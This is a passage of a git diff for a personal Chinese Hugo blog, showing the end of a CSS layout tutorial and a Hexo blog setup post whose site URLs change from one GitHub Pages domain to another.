+</code></pre><p>优点：父元素是否脱离正常流，也是不影响子元素的垂直居中效果</p><p>缺点：transform属性是css3的新属性，浏览器兼容性比较差</p><p>水平垂直居中：水平方向居中，也要垂直方向居中</p><p>table+margin（水平），table-cell+vertical-algin（垂直）</p><p>absolute+transform</p><pre><code>#app{
+    position: relative;
+}
+.child{
+    position: absolute;
+    top: 50%;
+    left: 50%;
+    transform: translate(-50%,-50%);
+}
+</code></pre><p>多列布局（两列布局+三列布局+CSS3 多列布局）</p><p>两列布局：其中有一列是确定宽度，而另外一列则是自动填满（指定宽于自适应）</p><p>float+margin</p><pre><code>.left{
+    width: 100px;
+    float: left;
+}
+.right{
+    margin-left: 100px;
+}
+</code></pre><p>优点：简单</p><p>缺点：自适应元素的margin属性值要和定宽元素的width属性值保持一致</p><p>或者给定宽元素position: relative，自适应元素给float: right和width: 100%,margin-left: -100px</p><p>float+overflow</p><pre><code>.left{
+    width: 100px;
+    float: left;
+}
+.right{
+    overflow: hidden;
+}
+</code></pre><p>优点：简单</p><p>缺点：overflow属性会导致内容溢出（BFC）</p><p>display：table</p><pre><code>#app{
+    display: table;
+    table-layout: fixed;
+}
+.left{
+    width: 100px;
+}
+.left,.right{
+    display: table-cell;
+}
+</code></pre><p>优点：浏览器兼容性好</p><p>缺点：父元素的display属性设置为table，会受到制约</p><p>三列布局：三列，有两列是确定宽度，另外一列自动填满（指定宽于自适应），一般中间那一列是内容区</p><p>效果实现和二列一样</p><p>圣杯布局</p><p>头部和底部都占页面100%宽度，高度固定，中间区域是一个三栏布局，三栏布局两侧宽度确定，中间部分自动填充（一般中间那是内容区）</p><p>中间部分一般是三栏中最高的（因为是内容区）</p><p>float</p><p>头部和底部填满宽度，三列设置浮动和相对定位，中间部分的放在前面</p><p>三列设置overflow: hidden和padding-left（值为left的宽度），padding-right（值为right的宽度）</p><p>left栏设置margin-left: -100%,就返回到左侧了，然后left，值为负的left高度</p><p>right栏right，值为负的right高度，margin-left，值为负的right高度</p><p>例如：</p><pre><code>&lt;style&gt;
+    header{
+        max-width: 100%;
+        height: 100px;
+        background-color: aqua;
+        text-align: center;
+    }
+    footer{
+        max-width: 100%;
+        height: 100px;
+        background-color: aquamarine;
+        text-align: center;
+    }
+    main{
+        overflow: hidden; 
+        padding-left: 20%;
+        padding-right: 20%;
+    }
+    main div{
+        float: left;
+        position: relative;
+        text-align: center;
+    }
+    .center{
+        width: 100%;
+        height: 600px;
+        background-color: blue;
+    }
+    .left{
+        height: 300px;
+        width: 100px;
+        background-color: azure;
+        margin-left: -100%;
+        left: -100px;
+    }
+    .right{
+        height: 300px;
+        width: 100px;
+        background-color: bisque;
+        right: -100px;
+        margin-left: -100px;
+    }
+&lt;/style&gt;
+&lt;header&gt;
+    头部
+&lt;/header&gt;
+&lt;main&gt;
+    &lt;div class=&quot;center&quot;&gt;
+        中间
+    &lt;/div&gt;
+    &lt;div class=&quot;left&quot;&gt;
+        左
+    &lt;/div&gt;
+    &lt;div class=&quot;right&quot;&gt;
+        右
+    &lt;/div&gt;
+
+&lt;/main&gt;
+&lt;footer&gt;
+    底部
+&lt;/footer&gt;
+</code></pre><p>flex</p><p>用flex弹性盒子比较简单一点，只需要给三列设置flex，按照左中右排列，中间部分设置flex: 1;</p><p>优点：简单，不需要设置dom</p><p>缺点：（flex）浏览器兼容性比较差</p><p>双飞翼布局</p><p>双飞翼布局和圣杯布局效果和要求类似，侧边宽度确定，中间自适应，不同的是，圣杯布局是在父元素设置内边距，两侧通过定位和浮动来插入到中间，而双飞翼布局是直接设置一个dom来放置三列</p><p>三列设置左浮动，中间设置宽度为100%，left设置外边距为负100%，right设置外边距为其本身宽度，中间设置外边距为两侧腾出位置，值为left和right的宽度</p><p>例如：</p><pre><code>&lt;style&gt;
+    header{
+        max-width: 100%;
+        height: 100px;
+        background-color: aqua;
+        text-align: center;
+    }
+    footer{
+        max-width: 100%;
+        height: 100px;
+        background-color: aquamarine;
+        text-align: center;
+    }
+    main{
+        text-align: center;
+        overflow: hidden;
+    }
+    
+    .center{
+        width: 100%;
+        height: 600px;
+        background-color: blue;
+        float: left;
+    }
+    .center div{
+        margin: 0 100px 0 100px;
+    }
+    .left{
+        height: 300px;
+        width: 100px;
+        background-color: azure;
+        float: left;
+        margin-left: -100%;
+    }
+    .right{
+        height: 300px;
+        width: 100px;
+        background-color: bisque;
+        float: left;
+        margin-left: -100px;
+    }
+&lt;/style&gt;
+&lt;header&gt;
+    头部
+&lt;/header&gt;
+&lt;main&gt;
+    &lt;div class=&quot;center&quot;&gt;
+        &lt;div&gt;
+            中间
+        &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class=&quot;left&quot;&gt;
+        左
+    &lt;/div&gt;
+    &lt;div class=&quot;right&quot;&gt;
+        右
+    &lt;/div&gt;
+
+&lt;/main&gt;
+&lt;footer&gt;
+    底部
+&lt;/footer&gt;
+</code></pre><p>其他布局</p><p>等分布局：子元素平均分配父元素的宽度</p><p>等高布局：子元素在父元素中高度相等</p><p>全屏布局：一般是一个顶部，一个底部，中间是两栏（一个侧边栏，一个主栏）</p><p>侧边栏一般为确定宽度的，主栏为自适应，顶部和底部是占页面100%宽度，一般会设置外边距来分开</p><p>吕形布局：就是页面分为两个容器，一般第一个容器是导航栏，第二个容器是内容区，常见于移动端布局</p><p>九宫格布局</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/26/><span class=title>« Prev</span><br><span>简单搭建一个hexo博客</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/23/><span class=title>Next »</span><br><span>vuejs基础学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/26/index.html b/posts/26/index.html
index 781731db..4b4417d4 100644
--- a/posts/26/index.html
+++ b/posts/26/index.html
@@ -29,8 +29,8 @@
 打开主题配置文件
 修改sidebar.position的值
 left - 靠左放置 right - 靠右放置
-设置 头像"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/26/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单搭建一个hexo博客"><meta property="og:description" content="hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
+设置 头像"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/26/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单搭建一个hexo博客"><meta property="og:description" content="hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
 apt install npm
 npm install hexo-cli -g
 hexo init blog
@@ -61,7 +61,7 @@
 打开主题配置文件
 修改sidebar.position的值
 left - 靠左放置 right - 靠右放置
-设置 头像"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/26/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T14:36:00+00:00"><meta property="article:modified_time" content="2021-06-16T14:36:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单搭建一个hexo博客"><meta name=twitter:description content="hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
+设置 头像"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/26/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T14:36:00+00:00"><meta property="article:modified_time" content="2021-06-16T14:36:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单搭建一个hexo博客"><meta name=twitter:description content="hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
 apt install npm
 npm install hexo-cli -g
 hexo init blog
@@ -92,7 +92,7 @@
 打开主题配置文件
 修改sidebar.position的值
 left - 靠左放置 right - 靠右放置
-设置 头像"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单搭建一个hexo博客","item":"https://xiaochenabc123.github.io/posts/26/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单搭建一个hexo博客","name":"简单搭建一个hexo博客","description":"hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦\napt install npm\nnpm install hexo-cli -g\nhexo init blog\ncd blog\nnpm install\nhexo server\n使用NexT\napt install git\ngit clone https://github.com/theme-next/hexo-theme-next.git\n把hexo-theme-next文件夹放到hexo根目录的themes文件夹下\n启动主题\n打开hexo目录下的_config.yml文件，这个文件为站点配置文件\n找到theme，修改值为hexo-theme-next\n调试模式\nhexo s \u0026ndash;debug 查看是否输出有错误，方便修改错误信息\n选择主题\n打开主题的根目录的_config.yml文件，这个文件是主题配置文件\n找到scheme，需要启动的在前面去掉#注释即可，不需要就加注释#\n设置 语言\n打开站点配置文件，修改language为需要的语言zh-CN\n修改菜单\n打开主题配置文件，找到menu，需要用到的菜单就去掉#，不需要就加#\nhome 主页 archives 归档页 categories 分类页 tags 标签页 about 关于页面 commonweal公益 404\n修改对应的语言翻译\n主题目录下languages/zh-CN.yml\n设定菜单项的图标，可以使用的是Font Awesome 图标\n设置 侧栏\n打开主题配置文件\n修改sidebar.position的值\nleft - 靠左放置 right - 靠右放置\n设置 头像","keywords":["hexo"],"articleBody":"hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦\napt install npm\nnpm install hexo-cli -g\nhexo init blog\ncd blog\nnpm install\nhexo server\n使用NexT\napt install git\ngit clone https://github.com/theme-next/hexo-theme-next.git\n把hexo-theme-next文件夹放到hexo根目录的themes文件夹下\n启动主题\n打开hexo目录下的_config.yml文件，这个文件为站点配置文件\n找到theme，修改值为hexo-theme-next\n调试模式\nhexo s –debug 查看是否输出有错误，方便修改错误信息\n选择主题\n打开主题的根目录的_config.yml文件，这个文件是主题配置文件\n找到scheme，需要启动的在前面去掉#注释即可，不需要就加注释#\n设置 语言\n打开站点配置文件，修改language为需要的语言zh-CN\n修改菜单\n打开主题配置文件，找到menu，需要用到的菜单就去掉#，不需要就加#\nhome 主页 archives 归档页 categories 分类页 tags 标签页 about 关于页面 commonweal公益 404\n修改对应的语言翻译\n主题目录下languages/zh-CN.yml\n设定菜单项的图标，可以使用的是Font Awesome 图标\n设置 侧栏\n打开主题配置文件\n修改sidebar.position的值\nleft - 靠左放置 right - 靠右放置\n设置 头像\n打开主题配置文件，修改avatar值设置成头像的链接地址\n可以是url，也可以站点内的地址\n设置 作者昵称\n打开站点配置文件，设置 author 为作者的昵称\n站点描述\n打开站点配置文件\n设置 description 字段为你的站点描述\n百度统计\n打开主题配置文件\n修改字段 baidu_analytics 字段，值设置成百度统计 id\n添加RSS功能\nnpm install hexo-generator-feed –save\n编辑主题配置文件，修改rss，rss: /atom.xml\n标签 页面\nhexo new page tags\ntype: “tags”\n分类 页面\nhexo new page categories\ntype: “categories”\n设置代码高亮主题\n打开主题配置文件\n修改highlight_theme\n可选的值有 normal，night， night blue， night bright， night eighties\n侧边栏社交链接\nsocial\n格式是 显示文本: 链接地址\nsocial_icons\n格式是 匹配键: Font Awesome 图标名称\n友情链接\n打开主题配置文件\nlinks\n404页面\n新建 404.html 页面，放到主题的 source 目录下\n推荐使用腾讯公益404页面\n站点建立时间\n打开主题配置文件，since\n来必力\n打开主题配置文件，livere_uid: LiveRe UID\nGoogle 分析\n打开主题配置文件， 修改字段 google_analytics， 值设置成 Google 跟踪 ID。跟踪 ID 通常是以 UA- 开头。\n腾讯分析\n打开主题配置文件 里将 ID 放置 tencent_analytics\nCNZZ 统计\n在主题配置文件中添加cnzz_siteid的配置项，值为 CNZZ 里面添加统计的站点ID\n百度分享\n打开主题配置文件 添加/修改字段 baidushare，值为 true\n搜索服务\n如何设置 阅读全文\n在文章中使用 手动进行截断，Hexo 提供的方式\n打开主题配置文件，添加： auto_excerpt: enable: true length: 150\n部署到Github git config –global user.name “chenjunlinabc” git config –global user.email “a@xiaochenabc123.test.com”\nssh-keygen -t rsa -C “a@xiaochenabc123.test.com”\n检查是否连接上github\nssh -T git@github.com\n设置deploy参数\n打开主题配置文件\ndeploy: type: git repo: git@github.com:chenjunlinabc/chenjunlinabc.github.io.git branch: main\ngithub的分支默认为main\n安装一个插件 npm install hexo-deployer-git –save\nhexo clean 清理缓存\nhexo g 进行渲染\n部署到git服务器，hexo d\n关于每次hexo d后，GitHub Pages自定义域名都会失效的解决方法\n在source目录下添加一个文件CNAME就好\n该文件放域名\n","wordCount":"238","inLanguage":"en","datePublished":"2021-06-16T14:36:00Z","dateModified":"2021-06-16T14:36:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/26/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单搭建一个hexo博客</h1><div class=post-meta><span title='2021-06-16 14:36:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e6%90%ad%e5%bb%ba%e4%b8%80%e4%b8%aahexo%e5%8d%9a%e5%ae%a2.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦</p><p>apt install npm</p><p>npm install hexo-cli -g</p><p>hexo init blog</p><p>cd blog</p><p>npm install</p><p>hexo server</p><p>使用NexT</p><p>apt install git</p><p>git clone <a href=https://github.com/theme-next/hexo-theme-next.git>https://github.com/theme-next/hexo-theme-next.git</a></p><p>把hexo-theme-next文件夹放到hexo根目录的themes文件夹下</p><p>启动主题</p><p>打开hexo目录下的_config.yml文件，这个文件为站点配置文件</p><p>找到theme，修改值为hexo-theme-next</p><p>调试模式</p><p>hexo s &ndash;debug
+设置 头像"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单搭建一个hexo博客","item":"https://chenjunlinabc.github.io/posts/26/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单搭建一个hexo博客","name":"简单搭建一个hexo博客","description":"hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦\napt install npm\nnpm install hexo-cli -g\nhexo init blog\ncd blog\nnpm install\nhexo server\n使用NexT\napt install git\ngit clone https://github.com/theme-next/hexo-theme-next.git\n把hexo-theme-next文件夹放到hexo根目录的themes文件夹下\n启动主题\n打开hexo目录下的_config.yml文件，这个文件为站点配置文件\n找到theme，修改值为hexo-theme-next\n调试模式\nhexo s \u0026ndash;debug 查看是否输出有错误，方便修改错误信息\n选择主题\n打开主题的根目录的_config.yml文件，这个文件是主题配置文件\n找到scheme，需要启动的在前面去掉#注释即可，不需要就加注释#\n设置 语言\n打开站点配置文件，修改language为需要的语言zh-CN\n修改菜单\n打开主题配置文件，找到menu，需要用到的菜单就去掉#，不需要就加#\nhome 主页 archives 归档页 categories 分类页 tags 标签页 about 关于页面 commonweal公益 404\n修改对应的语言翻译\n主题目录下languages/zh-CN.yml\n设定菜单项的图标，可以使用的是Font Awesome 图标\n设置 侧栏\n打开主题配置文件\n修改sidebar.position的值\nleft - 靠左放置 right - 靠右放置\n设置 头像","keywords":["hexo"],"articleBody":"hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦\napt install npm\nnpm install hexo-cli -g\nhexo init blog\ncd blog\nnpm install\nhexo server\n使用NexT\napt install git\ngit clone https://github.com/theme-next/hexo-theme-next.git\n把hexo-theme-next文件夹放到hexo根目录的themes文件夹下\n启动主题\n打开hexo目录下的_config.yml文件，这个文件为站点配置文件\n找到theme，修改值为hexo-theme-next\n调试模式\nhexo s –debug 查看是否输出有错误，方便修改错误信息\n选择主题\n打开主题的根目录的_config.yml文件，这个文件是主题配置文件\n找到scheme，需要启动的在前面去掉#注释即可，不需要就加注释#\n设置 语言\n打开站点配置文件，修改language为需要的语言zh-CN\n修改菜单\n打开主题配置文件，找到menu，需要用到的菜单就去掉#，不需要就加#\nhome 主页 archives 归档页 categories 分类页 tags 标签页 about 关于页面 commonweal公益 404\n修改对应的语言翻译\n主题目录下languages/zh-CN.yml\n设定菜单项的图标，可以使用的是Font Awesome 图标\n设置 侧栏\n打开主题配置文件\n修改sidebar.position的值\nleft - 靠左放置 right - 靠右放置\n设置 头像\n打开主题配置文件，修改avatar值设置成头像的链接地址\n可以是url，也可以站点内的地址\n设置 作者昵称\n打开站点配置文件，设置 author 为作者的昵称\n站点描述\n打开站点配置文件\n设置 description 字段为你的站点描述\n百度统计\n打开主题配置文件\n修改字段 baidu_analytics 字段，值设置成百度统计 id\n添加RSS功能\nnpm install hexo-generator-feed –save\n编辑主题配置文件，修改rss，rss: /atom.xml\n标签 页面\nhexo new page tags\ntype: “tags”\n分类 页面\nhexo new page categories\ntype: “categories”\n设置代码高亮主题\n打开主题配置文件\n修改highlight_theme\n可选的值有 normal，night， night blue， night bright， night eighties\n侧边栏社交链接\nsocial\n格式是 显示文本: 链接地址\nsocial_icons\n格式是 匹配键: Font Awesome 图标名称\n友情链接\n打开主题配置文件\nlinks\n404页面\n新建 404.html 页面，放到主题的 source 目录下\n推荐使用腾讯公益404页面\n站点建立时间\n打开主题配置文件，since\n来必力\n打开主题配置文件，livere_uid: LiveRe UID\nGoogle 分析\n打开主题配置文件， 修改字段 google_analytics， 值设置成 Google 跟踪 ID。跟踪 ID 通常是以 UA- 开头。\n腾讯分析\n打开主题配置文件 里将 ID 放置 tencent_analytics\nCNZZ 统计\n在主题配置文件中添加cnzz_siteid的配置项，值为 CNZZ 里面添加统计的站点ID\n百度分享\n打开主题配置文件 添加/修改字段 baidushare，值为 true\n搜索服务\n如何设置 阅读全文\n在文章中使用 手动进行截断，Hexo 提供的方式\n打开主题配置文件，添加： auto_excerpt: enable: true length: 150\n部署到Github git config –global user.name “chenjunlinabc” git config –global user.email “a@xiaochenabc123.test.com”\nssh-keygen -t rsa -C “a@xiaochenabc123.test.com”\n检查是否连接上github\nssh -T git@github.com\n设置deploy参数\n打开主题配置文件\ndeploy: type: git repo: git@github.com:chenjunlinabc/chenjunlinabc.github.io.git branch: main\ngithub的分支默认为main\n安装一个插件 npm install hexo-deployer-git –save\nhexo clean 清理缓存\nhexo g 进行渲染\n部署到git服务器，hexo d\n关于每次hexo d后，GitHub Pages自定义域名都会失效的解决方法\n在source目录下添加一个文件CNAME就好\n该文件放域名\n","wordCount":"238","inLanguage":"en","datePublished":"2021-06-16T14:36:00Z","dateModified":"2021-06-16T14:36:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/26/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" 